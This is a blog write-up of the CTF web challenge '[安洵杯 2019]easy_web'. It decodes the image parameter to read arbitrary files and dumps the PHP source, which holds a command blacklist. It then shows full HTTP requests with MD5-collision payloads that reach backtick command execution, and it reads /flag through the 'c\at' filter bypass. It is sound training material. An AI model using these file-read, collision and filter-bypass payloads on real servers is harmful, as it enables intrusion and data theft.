[安洵杯 2019]easy_web-韶华当歌-技术文章

[安洵杯 2019]easy_web

发布时间：2020/07/20 作者：linmoumou 浏览（388）评论（21）分类【CTF】文章来源：博主原创

考点

RCE
编码
强类型MD5碰撞
PHP代码审计

解题

进去是一个背景图片和一个表情包，源码看下表情包是base64显示的，发i西安url比较特别index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=这个img会不会就是表情包，把它删除了试试，表情包果然没了，把它base64解码一下

CTF,2019安洵杯,web

什么鬼，看了下位数好像不对，补上个=试试，可以解开了，发现还是一个base64，再解开是个hex编码再解得到了555.png


TXpVek5UTTFNbVUzTURabE5qYz0=
MzUzNTM1MmU3MDZlNjc=
3535352e706e67
555.png

他如果是这么读文件的那么这是不是有任意文件读取呢，用index.php试试反向加密一波

得到TmprMlpUWTBOalUzT0RKbE56QTJPRGN3，看下源码


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<img src="data:image/gif;base64,PD9waHAKZXJyb3JfcmVwb3J0aW5nKEVfQUxMIHx8IH4gRV9OT1RJQ0UpOwpoZWFkZXIoJ2NvbnRlbnQtdHlwZTp0ZXh0L2h0bWw7Y2hhcnNldD11dGYtOCcpOwokY21kID0gJF9HRVRbJ2NtZCddOwppZiAoIWlzc2V0KCRfR0VUWydpbWcnXSkgfHwgIWlzc2V0KCRfR0VUWydjbWQnXSkpIAogICAgaGVhZGVyKCdSZWZyZXNoOjA7dXJsPS4vaW5kZXgucGhwP2ltZz1UWHBWZWs1VVRURk5iVlV6VFVSYWJFNXFZejAmY21kPScpOwokZmlsZSA9IGhleDJiaW4oYmFzZTY0X2RlY29kZShiYXNlNjRfZGVjb2RlKCRfR0VUWydpbWcnXSkpKTsKCiRmaWxlID0gcHJlZ19yZXBsYWNlKCIvW15hLXpBLVowLTkuXSsvIiwgIiIsICRmaWxlKTsKaWYgKHByZWdfbWF0Y2goIi9mbGFnL2kiLCAkZmlsZSkpIHsKICAgIGVjaG8gJzxpbWcgc3JjID0iLi9jdGYzLmpwZWciPic7CiAgICBkaWUoInhpeGnvvZ4gbm8gZmxhZyIpOwp9IGVsc2UgewogICAgJHR4dCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKTsKICAgIGVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL2dpZjtiYXNlNjQsIiAuICR0eHQgLiAiJz48L2ltZz4iOwogICAgZWNobyAiPGJyPiI7Cn0KZWNobyAkY21kOwplY2hvICI8YnI+IjsKaWYgKHByZWdfbWF0Y2goIi9sc3xiYXNofHRhY3xubHxtb3JlfGxlc3N8aGVhZHx3Z2V0fHRhaWx8dml8Y2F0fG9kfGdyZXB8c2VkfGJ6bW9yZXxiemxlc3N8cGNyZXxwYXN0ZXxkaWZmfGZpbGV8ZWNob3xzaHxcJ3xcInxcYHw7fCx8XCp8XD98XFx8XFxcXHxcbnxcdHxccnxceEEwfFx7fFx9fFwofFwpfFwmW15cZF18QHxcfHxcXCR8XFt8XF18e3x9fFwofFwpfC18PHw+L2kiLCAkY21kKSkgewogICAgZWNobygiZm9yYmlkIH4iKTsKICAgIGVjaG8gIjxicj4iOwp9IGVsc2UgewogICAgaWYgKChzdHJpbmcpJF9QT1NUWydhJ10gIT09IChzdHJpbmcpJF9QT1NUWydiJ10gJiYgbWQ1KCRfUE9TVFsnYSddKSA9PT0gbWQ1KCRfUE9TVFsnYiddKSkgewogICAgICAgIGVjaG8gYCRjbWRgOwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICgibWQ1IGlzIGZ1bm55IH4iKTsKICAgIH0KfQoKPz4KPGh0bWw+CjxzdHlsZT4KICBib2R5ewogICBiYWNrZ3JvdW5kOnVybCguL2JqLnBuZykgIG5vLXJlcGVhdCBjZW50ZXIgY2VudGVyOwogICBiYWNrZ3JvdW5kLXNpemU6Y292ZXI7CiAgIGJhY2tncm91bmQtYXR0YWNobWVudDpmaXhlZDsKICAgYmFja2dyb3VuZC1jb2xvcjojQ0NDQ0NDOwp9Cjwvc3R5bGU+Cjxib2R5Pgo8L2JvZHk+CjwvaHRtbD4=">

吧后面base64部分拿来解码一下得到


x
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi～ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}
?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

这我们就读到了源码

重点在


xxxxxxxxxx
 if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
        }

就一个无参rce，上面是一个强类型MD5比较要用到md5碰撞


xxxxxxxxxx
POST /index.php?cmd=dir HTTP/1.1
Host: 1ce40f95-caa6-4026-93ff-aa75cf4defb8.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type:application/x-www-form-urlencoded
Content-Length: 393
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

ls被顾虑了那么用dir来看一下当前文件夹下有没有flag文件，回显：


xxxxxxxxxx
<img src='data:image/gif;base64,'></img><br>dir<br>555.png  bj.png  ctf3.jpeg  index.php

显然是没有的那么看一下根目录：因为空格被过滤了我们用%20代替POST /index.php?cmd=dir%20/ HTTP/1.1回显：


xxxxxxxxxx
<img src='data:image/gif;base64,'></img><br>dir /<br>bin   dev  flag  lib   media  opt   root  sbin  sys  usr
boot  etc  home  lib64  mnt    proc  run   srv   tmp  var

可以看到falg确实在这，那么我们直接读就好了，但是cat 也被过了了，单是没有过滤\换行符POST /index.php?cmd=c\at%20/flag HTTP/1.1回显


xxxxxxxxxx
<img src='data:image/gif;base64,'></img><br>c\at /flag<br>flag{309f8abe-a64f-48e6-8084-d5f4d95a28a8}

这样我们就得到了flag

在做这个碰撞的时候一直出不来，发现如果a，b两个参数不是写在同一行，那么最后要多一个换行不然出不来，如果两个参数在同一行，最后不能有换行，它应该把换行符号也算进去了


xxxxxxxxxx
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

关键字词：CTF,2019安洵杯,web

韶华当歌-技术文章

[安洵杯 2019]easy_web

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